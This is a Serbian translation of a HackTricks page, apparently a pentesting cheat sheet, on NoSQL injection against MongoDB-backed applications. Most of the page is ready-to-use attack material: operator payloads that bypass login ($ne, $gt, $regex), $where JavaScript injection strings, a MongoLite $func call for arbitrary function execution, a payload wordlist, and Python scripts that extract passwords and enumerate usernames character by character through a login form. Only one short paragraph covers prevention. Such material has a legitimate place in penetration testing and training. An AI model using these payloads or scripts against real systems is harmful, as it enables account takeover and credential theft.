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https://github.com/carlospolop/hacktricks
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313 lines
14 KiB
Markdown
313 lines
14 KiB
Markdown
# NoSQL ubacivanje
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<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
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\
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Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
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Pristupite danas:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Drugi načini podrške HackTricks-u:
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* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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## Eksploatacija
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U PHP-u možete poslati niz tako što ćete promeniti poslati parametar sa _parameter=foo_ na _parameter\[arrName]=foo._
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Eksploatacije se zasnivaju na dodavanju **Operatora**:
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```bash
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username[$ne]=1$password[$ne]=1 #<Not Equals>
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username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
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username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
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username[$eq]=admin&password[$ne]=1 #<Equals>
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username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
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username[$ne]=admin&pass[$gt]=s #<Greater Than>
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username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
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{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
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```
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### Osnovna obilaznica autentikacije
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**Korišćenje operatora "nije jednako" ($ne) ili "veće od" ($gt)**
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```bash
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#in URL
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username[$ne]=toto&password[$ne]=toto
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username[$regex]=.*&password[$regex]=.*
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username[$exists]=true&password[$exists]=true
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#in JSON
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{"username": {"$ne": null}, "password": {"$ne": null} }
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
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{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
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```
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### **SQL - Mongo**
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---
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#### **NoSQL Injection**
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NoSQL baze podataka, kao što je MongoDB, takođe su podložne injekcijama. Uobičajeni napadi uključuju ubacivanje operacija koje nisu predviđene, kao što su `$where` klauzule ili JavaScript kod unutar upita.
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---
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#### **MongoDB NoSQL Injection Primer**
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Evo primera kako se može izvršiti NoSQL injekcija u MongoDB bazi podataka:
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```json
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POST /api/products HTTP/1.1
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Host: website.com
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Content-Type: application/json
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{
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"name": {"$gt": ""},
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"password": {"$gt": ""}
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}
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```
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U ovom primeru, ako se ne vrati greška, može se zaključiti da je baza podataka podložna NoSQL injekciji.
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```javascript
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query = { $where: `this.username == '${username}'` }
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```
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Napadač može iskoristiti ovo unošenjem nizova poput `admin' || 'a'=='a`, čime će upit vratiti sve dokumente zadovoljavajući uslov tautologijom (`'a'=='a'`). Ovo je analogno SQL injection napadima gde se koriste unosi poput `' or 1=1-- -` za manipulaciju SQL upita. U MongoDB-u, slične injekcije mogu se izvršiti korišćenjem unosa poput `' || 1==1//`, `' || 1==1%00`, ili `admin' || 'a'=='a`.
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```
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Normal sql: ' or 1=1-- -
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Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
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```
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### Izdvajanje informacija o **dužini**
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```bash
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username[$ne]=toto&password[$regex]=.{1}
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username[$ne]=toto&password[$regex]=.{3}
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# True if the length equals 1,3...
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```
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### Izdvajanje informacija o **podacima**
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```
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in URL (if length == 3)
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username[$ne]=toto&password[$regex]=a.{2}
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username[$ne]=toto&password[$regex]=b.{2}
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...
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username[$ne]=toto&password[$regex]=m.{2}
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username[$ne]=toto&password[$regex]=md.{1}
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username[$ne]=toto&password[$regex]=mdp
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username[$ne]=toto&password[$regex]=m.*
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username[$ne]=toto&password[$regex]=md.*
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in JSON
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{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
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```
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### **SQL - Mongo**
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---
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NoSQL baze podataka, kao što je MongoDB, koriste se za čuvanje podataka u obliku JSON dokumenata umesto tabela. Kao rezultat toga, tradicionalne SQL injekcije neće raditi na NoSQL bazama podataka. Međutim, NoSQL baze podataka su podložne NoSQL injekcijama.
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NoSQL injekcija može se desiti kada se korisnički unos ne filtrira ili validira pre nego što se prosledi bazi podataka. To može dovesti do izvršavanja neovlašćenih upita ili manipulacije podacima.
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Da biste sprečili NoSQL injekcije, koristite parametrizovane upite, koristite biblioteke koje automatski filtriraju unos ili koristite ORM (Object-Relational Mapping) biblioteke koje rukovode interakcijom sa bazom podataka umesto ručnog pisanja upita.
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```
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/?search=admin' && this.password%00 --> Check if the field password exists
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/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
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/?search=admin' && this.password && this.password.match(/^a.*$/)%00
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/?search=admin' && this.password && this.password.match(/^b.*$/)%00
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/?search=admin' && this.password && this.password.match(/^c.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
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```
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### PHP Proizvoljno Izvršavanje Funkcija
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Korišćenjem operatora **$func** biblioteke [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (koja se koristi podrazumevano) moguće je izvršiti proizvoljnu funkciju kao u [ovom izveštaju](https://swarm.ptsecurity.com/rce-cockpit-cms/).
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```python
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"user":{"$func": "var_dump"}
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```
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.png>)
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### Dobijanje informacija iz različitih kolekcija
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Moguće je koristiti [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) da biste dobili informacije iz različite kolekcije. U sledećem primeru, čitamo iz **različite kolekcije** nazvane **`users`** i dobijamo **rezultate svih unosa** sa lozinkom koja odgovara šablonu.
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**NAPOMENA:** `$lookup` i ostale funkcije agregacije su dostupne samo ako je funkcija `aggregate()` korišćena za pretragu umesto uobičajenijih funkcija `find()` ili `findOne()`.
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```json
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[
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{
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"$lookup":{
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"from": "users",
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"as":"resultado","pipeline": [
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{
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"$match":{
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"password":{
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"$regex":"^.*"
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}
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}
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}
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]
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}
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}
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]
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```
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<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
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\
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Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
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Pristupite danas:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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## MongoDB Payloadi
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Lista [odavde](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt)
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```
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true, $where: '1 == 1'
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, $where: '1 == 1'
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$where: '1 == 1'
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', $where: '1 == 1
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1, $where: '1 == 1'
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{ $ne: 1 }
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', $or: [ {}, { 'a':'a
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' } ], $comment:'successful MongoDB injection'
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db.injection.insert({success:1});
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db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
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|| 1==1
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|| 1==1//
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|| 1==1%00
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}, { password : /.*/ }
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' && this.password.match(/.*/)//+%00
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' && this.passwordzz.match(/.*/)//+%00
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'%20%26%26%20this.password.match(/.*/)//+%00
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'%20%26%26%20this.passwordzz.match(/.*/)//+%00
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{$gt: ''}
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[$ne]=1
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';sleep(5000);
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';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
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{"username": {"$ne": null}, "password": {"$ne": null}}
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
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{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
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{"username": {"$gt":""}, "password": {"$gt":""}}
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{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
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```
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## Slepa NoSQL skripta
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```python
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import requests, string
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alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
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flag = ""
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for i in range(21):
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print("[i] Looking for char number "+str(i+1))
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for char in alphabet:
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r = requests.get("http://chall.com?param=^"+flag+char)
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if ("<TRUE>" in r.text):
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flag += char
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print("[+] Flag: "+flag)
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break
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```
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = {'ids': payload}, verify = False)
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if 'OK' in r.text:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### Brute-force login usernames and passwords from POST login
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Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak.
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```python
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import requests
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import string
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url = "http://example.com"
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headers = {"Host": "exmaple.com"}
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cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
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possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
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def get_password(username):
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print("Extracting password of "+username)
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params = {"username":username, "password[$regex]":"", "login": "login"}
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password = "^"
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while True:
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for c in possible_chars:
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params["password[$regex]"] = password + c + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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password += c
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break
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if c == possible_chars[-1]:
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print("Found password "+password[1:].replace("\\", "")+" for username "+username)
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return password[1:].replace("\\", "")
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def get_usernames(prefix):
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usernames = []
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params = {"username[$regex]":"", "password[$regex]":".*"}
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for c in possible_chars:
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username = "^" + prefix + c
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params["username[$regex]"] = username + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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print(username)
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for user in get_usernames(prefix + c):
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usernames.append(user)
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return usernames
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for u in get_usernames(""):
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get_password(u)
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```
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## Alati
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* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
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* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
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## Reference
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* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
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* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
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* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
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<details>
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|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
|
Dobijte pristup danas:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|